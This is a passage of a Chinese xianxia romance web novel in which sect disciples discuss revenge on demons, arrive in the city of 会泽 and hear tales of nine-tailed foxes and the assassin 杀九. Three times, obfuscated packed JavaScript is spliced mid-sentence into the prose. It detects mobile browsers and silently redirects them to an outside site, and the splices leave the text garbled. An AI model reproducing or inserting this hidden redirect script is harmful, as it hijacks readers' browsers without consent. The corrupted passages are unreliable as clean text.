闻人语盯着传音玉简,若有所思:“听说南靖有很多精妙玩意儿,比如既能传音又能传画的玉听,你们到时候多带些回来,让我玩玩。” 朝阳谷用的玉听只能在谷内使用,也只有最基本的传音功能。出了谷就用不了,只能靠大师兄带着的传音玉简和身在谷内的师父短暂联络一会儿,但功能更是比不过玉听,每次最多坚持一刻钟就会断联,且一天内只能用两次。 所以他们出谷后只能使用最传统的通讯符。信息全面准确又快速,唯一的不足就是使用上不够便捷,比如这次闻了就遇到麻烦,没法偷偷给他们传递消息。 闻人心点点头,在心里记下。 看来到了南靖,他们首先得买一些出谷这段日子在外面用的玉听,方便联系。 裴知珩问:“师父这么厉害,怎么不自己研究改进一下?” 闻人语一副悠哉的语气:“自己弄多麻烦,大树底下好乘凉。我比较喜欢不劳而获。” 裴知珩:…… 他算是见识到这位师父有够随意的。 “对了,老大你关心……”下老二。闻人语话还没说完,传音玉简掉落在桌上,啪嗒一声。 时间到了,通讯中断。 他不满地撇撇嘴,一巴掌拍碎传音玉简。 他话都还没说完。 真是烦人。 迟早就把这玩意儿淘汰了。 …… 闻人心倒是能明白师父下一句话要说的是什么,他看向那边还守着闻了,一声不吭的夏听雪。 她沉着脸色,紧抿红唇,虽然从头到尾没有说什么,但他知道她心里肯定不快。 “既然解决完了,那我们快回去给小师妹熬点药吧。”他将目光转向仍在裴知珩怀中的闻了。她还阖上双眼,额头微微渗出汗珠,双手紧紧拽着裴知珩的胳膊。 裴知珩点头。 他能感觉到怀里的人越来越发烫,很不正常。不像是单纯因为水冷而受凉——他看着闻了手腕上的手镯,羊脂白中镶嵌着两抹相融的金色和暗红色,微弱淡淡的,看不真切。 这东西是不是对她身体有影响? 裴知珩没怎么琢磨过医术,也不敢确定。 闻了微微睁眼,眼前模糊的景象稍微清晰了点,她歪头,看见驻足在岸边的温芙。 师父出面拦下那帮捉妖师后,她便立刻疏散所有锦鲤妖,告知它们现在的情况,让它们安心入水。而做完这些,她还将自己携带的所有铜板钱币都扔进水里,在锦鲤妖们不解和害怕的情绪中闭上眼许愿。 “我想要这里的锦鲤妖在换天池好好度过今天。” 她的愿望眼下很好实现。 过了今夜,所有锦鲤妖都能汲取许多欲念带来的妖力。 长睫倏地扑闪,闻了感觉心里有一块软下去,让她很不适应。 她没说话,只觉得喉头酸涩,好像有东西卡在那,才让她无话可说,将所有情绪咽下去。 大家都赞同大师兄说的,事情已然解决,他们该整顿一下离开卫国了。 裴知珩背着闻了,越过那神志不清的陆以恒,闻了睁眼的那一瞬间,眸中闪过一丝暗红色,与陆以恒对视。 随后她又闭上眼,当个安安静静的病人。 回到客栈,温芙给她诊脉,说是脉象平稳,看不出什么问题,只能归结为在水里手冷太久,需要休息取暖一阵,等她恢复后,大家再收拾行李。 温芙走后,她一个人待了一会儿,还没觉得清净够,二师姐又来了。 她是一个人过来的,看样子心事重重。 闻了先前已经察觉到她的不对劲。 往常她对捉妖的事情最积极,平日里也是最聒噪的,但今天除了自己出水晕倒那会儿,后面都没怎么说过话,这和二师姐的性子很不符。 “好点了吗?”闻了点点头,模样乖巧,脸色染了些病气,看上去更加柔弱了。 夏听雪双手背后,等走到她面前时,才拿出来,一串红彤彤的糖葫芦握在手中,散发着诱人的甜味,“吃点好吃的,有助于恢复。” 闻了怔愣,思绪就像这串糖葫芦外层的糖霜裹住她,抿出一丝甜意。 但她能看出来,夏听雪的笑意背后有几分勉强。 她大概能猜到一些。 “谢谢师姐。” 看她笑得开心,夏听雪松了口气似的,坐到床边,温柔的目光轻轻拂过她的脸颊:“之前听师父说你小时候过得很苦,总叮嘱我们下山后多给你买些好吃好玩的。” 闻了一愣,旋即又在心里吐槽两句。 闻人语不知道她以前的事,应该是随口胡诌的。 这老头儿最喜欢说些没头没尾的,为她附加很多悲惨的往事,也不知道是为了什么。之前她就从大师兄那听说,师父说她小时候没穿过鞋,要多找些料子好的鞋子给她。 …… “师姐不开心吗?” 闻了本不想管那些隐藏在情绪之下的秘密。 她不过只是在朝阳谷待了三年,而且是戴着不为人知的面具,隐藏了三年,而且除了温芙,其他人死活皆与她无关。她不在意,也不需要在意。 短短三年罢了,她不觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只为报血亲之仇。 “我一看到那些妖怪,我就能想起我爹娘是怎么被它们活活扒皮抽筋,死在我眼前……”见她没有表态,夏听雪继续说,“我爹娘一介凡人,辛辛苦苦数载,换来这样的结局,我没办法不恨——” 那些年,她只要一闭上眼睛,就能看见阿爹的头颅和她那死不瞑目的样子,也能看见阿娘最骄傲的外表容貌被刮下剔除,生在那妖怪的脸上。 一朝变成孤儿,夏听雪发誓,要除尽天下妖邪,为父母报仇。 每次温芙口口声声说妖怪也有好妖,不应该赶尽杀绝时,她就觉得讽刺。在她眼中,妖物都该死,都是害死她爹娘的罪魁祸首。它们天生就站在凡人的对立面。 但偏偏说这话的人是温芙。 “若换做旁人,我大可不屑一顾。可唯独温芙,我不明白为什么。” 闻了抬眸,兴致顿起。 夏听雪紧攥着被角,心口像是塞了团棉花,堵得她发慌。 “五年前,温家上下被妖怪屠尽,五十条人命,只留下她一个活口。”短短一句话却让闻了心停滞一瞬。 这是她不知道的。 夏听雪的问题一时间也成了她的疑惑:“如此滔天大仇,她为何不恨?” 17. 第 17 章 十岁那年是夏听雪噩梦的伊始。 她躲在衣柜里,被身侧的闻人心捂住嘴巴,眼睁睁从门缝中看着那两只妖怪用锐利的爪子将爹娘剖皮,小心而完整地将人皮剥下来,就像是去橘子皮一样轻轻松松,猩红的血好比橘子汁流淌不止,散发着令人作呕的味道。 它们放肆地笑着,将那一件件战利品穿在身上,相互欣赏着。 夏听雪永远忘不了那一幕。 她也无比厌恶自己只是个手无寸铁的小孩,空有一腔为父母报仇的勇气,却只有送命的本事。若不是闻人心拦着她,并用符术掩盖他们两人的气息,她或许也早已经成了妖怪手下的新战利品。 她目睹妖怪虐杀爹娘离开,直到闻人语匆匆赶来,她才和闻人心一起从衣柜里出来。 她当时一滴眼泪没有掉,闻人语本想捂住她的眼睛,让她别看。但她偏偏执拗地将父母的惨状刻在脑子里,她恶劣地要自己将满地的血和惨不忍睹的面目与腐肉都记住。 跟着师父入谷后的每一天,她都直奔着一个目标。 杀光妖怪。 她固执地认为,只要妖怪存在,就会有类似的惨剧发生。她要报仇,也要肃清世上妖怪,不让悲剧重演。 “可我没想到,温芙同样有类似的经历,她却还是相信妖有好有坏,愿意放过妖怪,哪怕是作过恶的,也愿意给它们一个改过自新的机会。” 比如,那次被捉到朝阳谷准备关进地牢的妖怪有一只偷跑出来,温芙只身去追,被它伤到,后来几人合力拿下妖怪,本想将其处决,却被温芙劝住。 夏听雪还记得她是这么说的——“罢了,它只是想逃命,难免伤到我。它之前也没伤过别人性命,就是个爱偷东西的小妖怪,禁闭几日也够了。” 夏听雪一直觉得三师妹温柔善良,但在知道她家里的事后,无比意外她对于妖族的态度也这样宽容。 “虽然我了解得不多,但据我所知,她家的确是因为妖怪丢了那么多性命。”她垂头,声音闷闷的,“师父也愿意给那些锦鲤妖庇护。难道只有我——是我错了吗?” 闻了一直安安静静地听她陈述,扮演着合格的倾听者角色。 第二颗糖葫芦已经被她咬碎,糖衣的甜味早已经成了过去式,剩下丝丝酸意送进唇齿之间,撩动本就不安分的味蕾,但很快又被卷土重来的甜意裹挟,两相交织的味道使得最初的甜味愈发浓郁和深刻。 很甜。 她很喜欢。 夏听雪的视线里闯进来一串红彤彤的糖葫芦,已经被吃掉两颗,还剩下两颗挂在签子上。 她不明所以,抬头对上闻了的眼睛。 她脸上已经全好,一个人待在房间自然是直接将面纱取下,露出整张小脸,最吸引人的还是那双眼睛。 闻了也看着她,弯眸道:“我觉得师姐现在更需要。” 二师姐回过神笑了笑,接过糖葫芦。 闻了又继续道:“妖怪也许真的有好有坏吧。” 夏听雪顿住,意识到她是在回答自己最开始那个问题。 “但也不能说明你错了。你把妖怪想得很坏,三师姐没有,仅此而已。分不出高低,你们都是一样的。你没法放下仇恨,可是为什么一定要放下仇恨呢?”闻了收起了笑容,表情淡淡的,好像在陈述一件毫无意义的事。 事实上,是她并不擅长讲这些大道理。她从来都只是听道理的角色,这下轮到她来说,还有些生疏。 她本来可以继续保持沉默,继续当个不谙世事的小师妹的。 为什么要回答呢? 也许是看到了一点她自己的影子,找到所谓的共鸣,哪怕只是微乎其微。 毕竟她也一样,被一些执念所困。 但是那又如何?为什么一定要放下? 对闻了而言,若是她放下那些执念,现在的她早已经是一具死尸了。 “不过我还是建议师姐不要太讨厌妖怪了。”闻了往后靠了靠,背抵住墙,笑起来,“万一有一天我变成妖怪,我还是想师姐放我一马的。” 夏听雪被她逗笑,轻轻拍了下她的胳膊,然后又宠溺地摸了摸她的头顶:“真会开玩笑。你啊——” 她看着手里的糖葫芦,只是闻见那丝丝香气,便觉得整颗心已经浸泡在蜜罐里。她没吃,还是将糖葫芦送回闻了手中,嘴角微扬,露出一抹难得温柔的笑容:“了了——” 谢谢你。 但她只轻轻说道:“好好休息。” 闻了看着她离开,又一口咬下糖葫芦,满足地舔舔唇。 好像更甜了。 - 休整了一夜后,闻了的身体也恢复得差不多了,似乎昨日浑身发冷只是个不痛不痒的受寒症状,睡一觉起来完全没有任何不舒服,反而她脸上的红疮消失得干干净净,看不出一点痕迹。 所以闻了今日出门没有戴面纱。 她穿了一身素白襦裙,裹着一件淡黄色的毛领斗篷,头顶两侧各一个小猫耳朵似的发髻,是今早起来温芙给她扎的。其余长发披散,只在耳后个取了一缕编成小辫子,用她常用的黄色丝带缠绕交织。 师兄师姐们盯着她看了好一会儿。 只觉得小师妹没有疮疤的脸干净又漂亮,配上这身装扮,乖巧可爱,一看便是被宗门呵护,捧在手心里的宝贝。 闻了站在屋檐下,双手搓了搓,呵着气,全然不知身旁几人心里的碎碎念。 裴知珩是最后一个出来的。 昨日下了水,他便换了身红色的衣裳,高马尾也用黑红色发带绑起,一手将行李搭在肩上,脚步轻快又随意,三两步走来,一眼便看见换了新装扮的闻了。 他愣神,目光在她脸上游离。 他很少,不对,好像是第一次看见闻了面纱下白净正常的脸,没了那些骇人的红斑疮痕,和她的眼睛一样吸引人,只是少了几分神秘,也算不上多惊艳,更多的是小巧可爱,看上去天真无害,让人想要亲近。 不笑的时候就像深林深处鲜少现身,对外界懵懂无知的小鹿,扑闪着一双大眼睛,轻易就使得对方内心有一块为其柔软。 “看傻了?”二师姐嗤笑一声,打趣道。 裴知珩找回神游的自己,掩唇咳嗽两声,很快又开始插诨打科:“没办法,小师姐哪哪都好看。” 他说起这些话来当真是毫无压力,反倒让听者觉得耳痒痒。 闻了尽力去忽视他的存在,但他一靠近,就带着一股似有若无的橘子味贴近她,跟得紧紧的,让她想尽办法也无法完全忽略。 并肩走了一段路,闻了微微侧头,瞥见他身上格外扎眼的红色,终于找到一点可以发泄的出口。 她讨厌红色,也讨厌黑色。 恰好裴知珩最喜欢穿这两个颜色。 连带着他这个人也变得更讨厌了。 【好感-1】 【功力-1】 裴知珩:? 他一头雾水地看向已经收回目光的闻了。 搞什么,他一大早起来好像什么都没做吧? 难道是因为他迟到,让她等得太久,才惹她不高兴了? 他那不是挑衣服,加上捯饬脸耽误了一会儿,就为了以最好的状态见面,留下好印象。 裴知珩肩上挎了袋子,往闻了身上看了看,她空空如也,她的行李全在大师兄和二师姐那,也没什么能让他帮忙效劳的地方。 “小师姐。”裴知珩选择主动出击。 闻了甩给他一个眼神,表情平淡,也看不出生气与否。 “如果你讨厌一个人,他做什么事会让你觉得烦呢?” “……” 闻了一本正经,再用一种非常理所应当的表情看着他,吐出两个字,“呼吸。” 裴知珩:…… 他扯了下嘴角,友好的面具就在破碎的边缘:“小师姐应该不会这么讨厌我吧?” 而对方的面具依旧完整:“当然,我怎么可能会讨厌小师弟呢?” 她弯眸笑着应声,又像是林间小鹿开心地迎接过往的猎人,不设一点防备。 但裴知珩回味着那被扣掉的好感值,总觉得小鹿欢喜相迎的背后实则是让人坠落的陷阱,藏在她柔软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662075|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意中,捕捉每一个上当的人。 他现在也是其中一个看她笑里藏刀的猎人。 “那小师姐可要说到做到。”裴知珩双手夹腰,微微俯身,脚步节奏与闻了趋同,在她耳畔落下委屈的示弱,“你讨厌我,我会死的。” 这话是真的。 好感值不提升,现在还是倒扣那么多,再这样下去,他功力值一点不涨,可能没几天就嗝屁了。 闻了只能听出表白的意思,他的气息缠绕在她耳尖上,酥酥麻麻,让她不自然地摸了摸,才褪去一点痒意。 你讨厌我,我会死的。 她有些意外,裴知珩也不是第一次这么直接地表达对她的意思,但这么极致的抒情还是第一次。意外的同时也很质疑,才不过数月相处,就能爱她爱到这种程度? 荒谬。 闻了想起那股微弱的妖气,心中感叹。 一定是有什么东西把他缠上了,他才误认为对自己有这么深厚的情意。 她加快了步伐,想要甩开这个跟屁虫。但裴知珩也不甘示弱,她快他也快,仍然紧紧黏着。 大师兄走在前头,很快也被他俩给追上,还以为他们是觉得无聊,特意追上来找他说话的。 “对了,你们知道吗?今早起来,客栈老板跟我说,昨天陆以恒把他院子里那具尸体挖了出来,然后到十里乡当着很多人的面说了自己雇凶杀妻的事,也交代了杀手当时找上门来交差,又想诓他一笔钱,他气急杀人灭口。” 老二老三一路上沉默无言,气氛低迷,他也不知道该说些什么调和,师弟师妹缀在后面倒是挺热闹的,现在他们跟了上来,闻人心也就想着主动开口,活跃一下。 “结果他说完就开始撞墙,好多人上去也拦不住。但他撞得头破血流也没死成,就撞了一夜,脸上都血肉模糊了……不晓得现在怎么样了。”大师兄啧啧两声,“说来也怪,这人疯了倒是机灵些,昨日要不是他突然开口承认是他的孩子,恐怕我们还不知道背后真相是怎样的。” 回应他的又是一阵沉默。 裴知珩看向闻了。 他记得很清楚,是闻了先问了一遍,陆以恒才回答的。但在这之前,无论那只锦鲤妖怎么问,陆以恒都否认那是他的孩子,而偏偏他在闻了提问后却承认了。 他总觉得,好像是受到某种引导,否则陆以恒是不可能会说那不人不鬼的玩意儿是他的孩子,这太奇怪了。他一个半疯半傻,遭受剧烈冲击的凡人,怎么会突然一下领悟到关键,打破了一直重复的迷宫。 但闻了只是黄级中境,甚至比他还低,他无法确定是怎么能做到的。 不过好像除了他,没人怀疑到闻了身上。她在众人心中就是隐藏在柔弱不能自理那一块的小师妹,与此毫不相干。 可惜,他手握好感值,早已经发现此人乃表里不一的高手,绝不像她外表所勾勒的那般。 拥有秘密——裴知珩又想起手册上的这条。 他得想个办法,刺探清楚她的秘密。 比如……思绪飘到那天夜里,闻了浑身发冷仍去拿锦囊,似乎里面有什么重要的东西。 他一边想,一边随意附和了大师兄一句:“确实。” 闻人心感激又欣慰地看了他两眼。 倒是身侧的闻了察觉到他的心不在焉,计上心头:“小师弟要帮师兄扛所有行李。” “确实。”裴知珩哽住,从思绪中抽离回神,发觉自己吃了一当,目光扫过闻了略显得意的脸,另一边是闻人心毫不客气地分了些行李递给他。 …… 算了,让她在这种小事上得逞,没准能捕获一点点好感。 裴知珩认命地接过。 几人一路穿过,不曾停歇,很快就出了卫国,顺着地图一路北上。 闻人心展开手中的地图,被圈起来的卫国那一处已经被他划了一条线,示意此处的魂核碎片被找到。接下来便是第二处要寻找的地方。 他举起的双手放下,地图上的南靖二字与眼前的界碑平行重合。 他们到了。 南靖国。 18. 第 18 章 如今现存的七大国中,南靖、青云、楚、周饶国这四大国四足鼎立,南靖国毋庸置疑是大国中的大国,占地最广,人也最多,在青丘国没有覆灭以前就已经是最大的国家,后来吞并了相邻的青丘国遗址,更是扩大了疆土。 南靖凭借着地理和人口优势,百年间涌现出的捉妖天才也不计其数,兴茂繁华的同时又有抵抗妖族侵犯的能力,理所当然地发展得最好。 “这里是南靖最繁华的都城,叫会泽城,也是南靖的核心。”闻人心跟随师傅入谷之前在外游历过,对南靖的大概环境还是比较熟悉的,于是他担任起解说的角色,阐述了一些他所知道的事情。 “南靖的君主很崇拜五行术法,所以这里的捉妖师地位都挺高的,基本上每家都会让自己的孩子去修习,若是有天分便会送到专门的学院。” 果然是大国,形成了一条成熟的流水线,也促进了捉妖师这业的发展,难怪南靖国实力雄厚,妖邪较少,也难怪当年能作为领头羊之一,剿灭青丘。 而他们现在还站在大国中最大的会泽城。 人来人往,络绎不绝,周边是纷繁多样的摊贩或商铺,花样多得看不过来。有些是普通的凡人百姓,穿着上好的料子,路过一间铺子便停留一会儿,东看看西看看,有时还有挽着手臂的姐妹俩说说笑笑走进店铺挑选首饰衣料。还有些是腰间挂着铃铛的捉妖师,同他们在卫国看到的那些如出一辙。 五人背着大大小小的行李,身上是赶路后风尘朴朴的气息,在这一众人中略显突出。 他们先是逛了下沿街的摊位。 大师兄想着要给大家都买一个能够方便联络的玉听。两位师姐则是打算给小师妹买些好看的配饰。 闻了乖乖夹在她们中间,任师姐们比划,她则目光乱飘,环视这家店的布局。 面前的柜台上摆放了一整片精致漂亮的珠钗,有一支凝固了她的视线。 “姑娘好眼光!”掌柜是个人精,一下捕捉到她的眼神,将她盯着看的那支发簪小心翼翼拿起来,“这可是青丘九尾狐骨制成,这珠子也是用狐妖爪子磨成的粉做的,在阳光下会照出七色彩光。还有这挂坠上的装饰都是上好的狐尾,都只要这个数——” 狐骨狐尾? 一旁听见这话的温芙蹙了蹙眉。 她本想拒绝掌柜的叫卖,再看看其他的,却听小师妹继续问:“那些呢?” 徇着她的目光看过去,墙面垂挂着整整一面狐裘,一共有三件,有披风有长袍,毛茸茸的,两件都是纯白色,还有两件白毛中分别夹杂着金黄色和漂亮的彩色。 “啊那些是城中贵人们定制的,都是真狐狸毛,这位小姐眼光当真是好。”掌柜眼睛一亮,看向闻了的眼神又添了几分谄媚,“小姐想要定制一款吗?” 方才这五个人一进门他便瞧出来,虽然领头两个姑娘生得大气,也像是在几人中掌握话语权的,但她们中间个子稍矮一点点的小姑娘每看向某个物件,身边几人就会顺着去看,且都要先询问她的意见。 显然她的心意是最重要的。 老板很有眼力见,仅仅扫视两下就能判断出谁是花钱的主,精准迎上,再贴着客人的喜好推荐。 闻了勾唇笑了笑,眼似弯月,拿起方才他介绍过的那支簪子。 “不用啦,我比较怕热。我就要这个。”她模样乖巧,说话声又是甜糯糯的,配上恰到好处的笑容,即便没买下昂贵的狐裘,也让掌柜称心。 掌柜笑呵呵道:“姑娘虽然面生,但分外亲切,就像老熟人一样。这样,给个折价,五十两成交。” 夏听雪炸毛:“一支簪子五十两?!” 掌柜神色不变,依旧热情可亲:“姑娘可以问问,这青丘狐妖的制品基本都在这个价以上。更何况这骨钗从头到尾全取自青丘狐,这毛发还是九尾狐的。” 他啧啧称奇:“多难得呀,之前都抢光了,刚好今天新到了一批就还剩这一支。一般我都是卖一百两的——” 五个人都沉默了。 师兄师姐在纠结,五十两有些超过预算,毕竟他们还要在外游历数月,之后去了昆仑虚指不定还要花很多钱。用五十两买支簪子有些浪费。 但这是小师妹想要的。 大师兄开始翻钱袋子。 但闻了摆摆手:“不买了,不想被抢钱。” 掌柜脸色一僵,没料到她会这么说,嘴角抽搐两下,方才扮起的殷勤嘴脸顿时化为赶客的动作:“小姑娘,不买就不买,别张口乱来。去去去。” 看他们这穷酸样,掌柜也不演了,将五个人赶了出去。 夏听雪还想冲进去理论,被大师兄拉住,睨了他一眼,又愤愤道:“真是些奸商,拿一些妖怪的皮毛骨头做的东西就收我们几十两。” 温芙摇摇头:“看他们这些店里有很多狐妖制品,应该的确是比较盛行。” 按照那老板说的,这些都是从已经灭绝的青丘九尾狐身上取来做成的,那的确算得上珍稀物,凡人为此着迷也在理。 “我之前听说过,传闻青丘狐族有毁天灭地的力量,而它们身上每一寸都能制成法宝,若得九尾还可起死回生。”温芙忽而笑了一下,摇摇头,“不过都是些无稽之谈。他们把青丘狐妖描述得那么可怕,死了之后却还推崇着所谓的狐骨狐毛……” 实在是可笑。 温芙揉了揉闻了的发顶,宽慰道:“没事,之后还能遇见更好看的簪子。” 闻了刚刚有些走神,察觉到头顶一暖,才回过神,冲对方甜甜一笑:“嗯。” 朝阳谷五人四处溜达一圈,只有大师兄买到了玉听,其他一无所获。他将特意挑选的玉听分发给师弟师妹们,看着大家加上好友,满意地笑道: “这样之后我们就好联系了。” 南靖国售卖的玉听的确不一样,既能传音也能传画,拥有者滴血为契,旁人无法强开。而且造型还各有不同,十分别致。闻了的是一只小猫脑袋的形状,有两个尖尖耳朵,两位师姐的则是比较方正清秀的,至于裴知珩就是最为普通的玉听。 显然没有得到大师兄的偏爱。 但他也不在乎,拿到玉听后加上闻了就收了起来,似乎将师兄师姐们抛在脑后。大师兄无奈,也罢,反正他总跟着闻了,有事联系闻了也相当于联系上了他。 只有温芙攥着手中玉听,眼底黯淡。 几人逛累了准备寻个歇脚的地方。 恰逢正午饭点,小饭馆都已经是人满为患,没有他们的容身之处,兜兜转转半天,五人最后寻了个大酒楼,被热情的小厮迎进二楼的包厢。 “这地方一看就很贵,我们吃得起?”二师姐表示怀疑,说话间还看了温芙两眼。 也是,她昨天将自己带着的所有铜板都扔进换天池里了,温芙身上应该没多少能拿出来开销的。温芙从怀中取出剩下的全部银票,厚厚一叠,像是在为二师姐无声的埋怨作弥补:“我这些应该能够。” 但他们剩下至少还有几个月的行程,这一路上五个人花销不少,又想着多给小师妹买些好看好玩的东西,不知道能不能撑过去。 “去了楚国,我可以回家拿一些。”温芙抿了口茶,神色自然地提起,说罢还不知为何看了一眼裴知珩。 闻了眨眨眼,一方面好奇他俩之间到底是什么说不得的纠缠,另一方面也奇怪二师姐不是说温家被灭门,那—— 也对,楚国温氏是大家族,分支众多,灭门的应该只是温芙一家,此温家非彼温家。是她想得狭窄了。 大师兄倒是豪爽地摆摆手,将菜单递给她们:“没事,师父说了钱花完了找他,让我们在吃喝上不要亏待自己。” 得了这句承诺,众人也放心地点起菜来。 他们在的包厢不算大,刚好容下一张大桌子,背后还放了两把软椅。精致的栏杆围起来,其余都是空的,没有设任何阻挡,坐在桌边便能俯瞰底下的一切。 垂眸望去,刚好能正正看见一楼大堂最靠里那设的一个大圆台,上面摆放着红檀木桌椅,一位戴着圆帽的说书先生正打开折扇,一拍惊木,摆起阵势,嘴里吐出音调特别的一串话,拉开了今日的故事。 “诸位看官,今日我们来讲讲几百年前雄霸一方,作恶多端的妖族。” 似乎是一些怪异闻录,平常百姓最爱听这些。 等菜的间歇,五个人反正无聊,也竖起耳朵听。 “传闻,它们有四条爪子,普通者有三条尾巴,而厉害的最多有九条尾巴——没错,有人猜出来了,今天我要说道说道的就是那青丘狐妖!九尾狐!” 惊木落下,说书先生气势昂扬,激起下面坐满的听客也跟着沉浸其中。 “世人皆知狐妖害人无数,但却不知道它们是如何害人的——其实,狐妖一族有几种无比可怖的力量。”说书先生把声音放低,小眼睛滴溜溜转,将离他最近的一排人都看了个遍。 “这其一,便是它的眼睛,只要看你一眼,就会让你失去神智,它说什么你就会做什么。其二,也是它的眼睛,与它对视过久,它不仅能控制你,还能夺取你的一切!当年有捉妖师就是看了九尾狐的眼睛,结果——” 说书先生很擅长营造这种断断续续的氛围,以此推进听客们的情绪跟随着他的一言一句波动起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663408|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏。 “那捉妖师回去不仅杀了他的同伴,还被狐妖夺去了法术!他会的所有,狐妖都能复刻出来,并且比他做得更好!” 人群一片哗然。 夏听雪嗤笑一声:“狐妖有这么厉害,还能被灭族?” 说书先生满意地看着底下众人的反应:“还有第三,它们的尾巴——”他合起折扇,高举起来,大家一眼便看见扇柄端悬挂着一缕狐狸毛。 “得九尾,获新生。这可是当时广为流传的。只要砍下九尾,便能获得起死回生的力量,而且尾巴也正是方才我所说的那两点力量的来源。没了尾巴,那些九尾狐就跟废物一样,连凡人都能轻轻松松制服。”说书先生收起扇子,“所以当年南靖帝同昆仑虚联手前往青丘时就谨记着两件事——” “挖眼断尾,这是他们制胜狐妖的秘密武器。所以诸位若是日后遇见狐妖,可千万记得,不要直视它的眼睛……”说书先生用神神秘秘地口吻吓唬大家,有些人倒吸一口凉气,有些则一脸无所谓。 有人反驳:“切,这青丘早就已经灭了,上哪去直视眼睛。” 说书先生摇头:“非也非也,青丘九尾狐是被灭干净了,还有些普通的狐妖并非青丘所出,仍然存活着。也没人证实这几种能力是不是只有青丘狐族才有,保险起见,还是多加小心为好啊。” 有人点头赞同。 “那九尾狐这么厉害,和杀九相比谁更胜一筹?” 安静的那一瞬,忽然有个声音极其突兀地出现,吸引了所有人的目光。 连楼上旁观的几人也看了过去。 闻了垂眸,在她这个位置刚好能看见刚刚说话的人是个乳臭未干的毛头小子,他发现大家都看向自己,顿时有些无措。 “杀九是什么?”也有毫不了解的人提出疑问。 但旁边的人挤眉弄眼半天,也没敢回答。 连台上的说书先生听到那句话后也愣了好一会儿,咳嗽两声,对此避而不谈,继续扯到九尾狐的事上,三言两语介绍完背景后,便说起他以此为延伸编撰的异闻故事。 “三百年前,一位书生公子名叫易百桥,某日雨天他在街边捡到一只淋雨发抖的狐狸,于是他——” 话题转到一个乏味的爱情故事上,朝阳谷五人失了兴致,刚好店小二呈上饭菜,他们便没再继续听。 “怎么突然冒出来个杀九,就没人说话了?”夏听雪觉得自己听完这个故事像是吃了一块裹着腐烂臭物的甜品,吃了一半被满嘴的臭味恶心,只能自咽其苦。 温芙拿起筷子,平静道:“我有所耳闻,杀门的杀手,之前在民间名声鹊起,我在楚国也听说过这号人物。” “杀门啊。”这个夏听雪倒是知道,她扒了口饭,像是没有再追问的意思。 徒留对这些完全不知情的裴知珩一头雾水:“杀门又是什么?怎么都不说了?” 大师兄只好又当起解说的角色:“生杀门,一个杀手组织,似乎是在南靖盘踞,分为生门和杀门,生门大多是潜伏在各处的探子,杀门顾名思义,就是负责行动的杀手,不过他们内部好像也分了好几种,我……” 店小二手一抖,碰掉了闻了的碗筷,他赶紧擦了擦汗,连声道歉,然后压低声音劝道:“诸位客人,这、这些事可少在外面说啊。” 看他这么害怕,几人立刻感觉到事情不简单。 闻了重新换了碗筷,一副好奇的样子,也学着把声音放小:“为什么呀?是出了什么事吗?” 店小二看了看关紧的门,眼神飘忽,像是确认这包厢隔墙无耳,并且面前几位都无异样,瞧着也很面生,不像是本地人。他对上闻了充满求知欲的目光,舔舔唇,心一软,便小声说起事情的起因经过。 “我、我看你们了解不多,便跟你们说,你们可千万别在外面谈论这些,小心——”他用手在脖颈处比划了一下。 “杀门原先一共分成了四个,三杀和四杀都是专门执行刺杀任务的杀手。几年前,四杀里有个叫杀九的不仅神出鬼没,非常会伪装,而且杀遍天下无敌手,替四杀完成了很多任务,厉害又无情,没留过活口。见过那人的恐怕都死了。” 店小二说着说着,脸上竟然有一丝崇拜的神情:“那个词怎么说,声名鹊起?反正那些达官贵人一听见杀九的名字就怕得躲在家里不敢出门,生怕下一个目标是自己。但是三年前——你们猜怎么了?” 正听得起劲,被他这话一绕,夏听雪无语闭眼。 这店小二倒是继承了楼下说书先生的优秀品质。 他眉头一皱:“四杀被灭了!全死光了,连杀九也死了!” 19. 第 19 章 裴知珩一手托着下巴,挑眉道:“哦,所以呢,为什么不能说这些?” 比起谁死了,他更好奇现在的人所呈现的这些反应是为何。 店小二没想到他一副平静的样子,讪讪道:“四杀怎么被灭的还是个谜,其实还有人猜测杀九没死,四杀覆灭很可能是杀九叛变。” “不过现在生杀门放出话来,说是会术法的修士干的,到处抓人,之前有段时间,只有有人暗地里讨论生杀门被他们的人听见了就会被抓走处刑……大家也就担惊受怕,毕竟生杀门的人最为伪装,也许就在身边……” 他努了努下巴,意在指楼下刚才那个说话的无知小儿:“这家伙大庭广众之下提起杀九,肯定是个外乡人,待会出去很可能就被生杀门的人带走了,哎。” 夏听雪意外:“生杀门不是个暗地里的杀手组织,怎么这么嚣张?” 她也是第一次见一个见不得光的组织敢光天化日之下放话抓人,一般杀手不都是隐藏在暗处,生怕被人知道自己一点消息吗? 店小二伸出食指左右摇晃几下,连连否认,摆出一副百事通的样子:“生杀门可太不一样了。他们每完成一个任务就会满天分发告示,宣布谁死了。而且每次杀了人,三杀和四杀都会在被杀对象身上留下非常显眼的标记。” 据他所知,三杀会在死者手上刻下一个独特的“杀”字,而四杀则是会用一块白布编成一朵花放在死者耳旁。 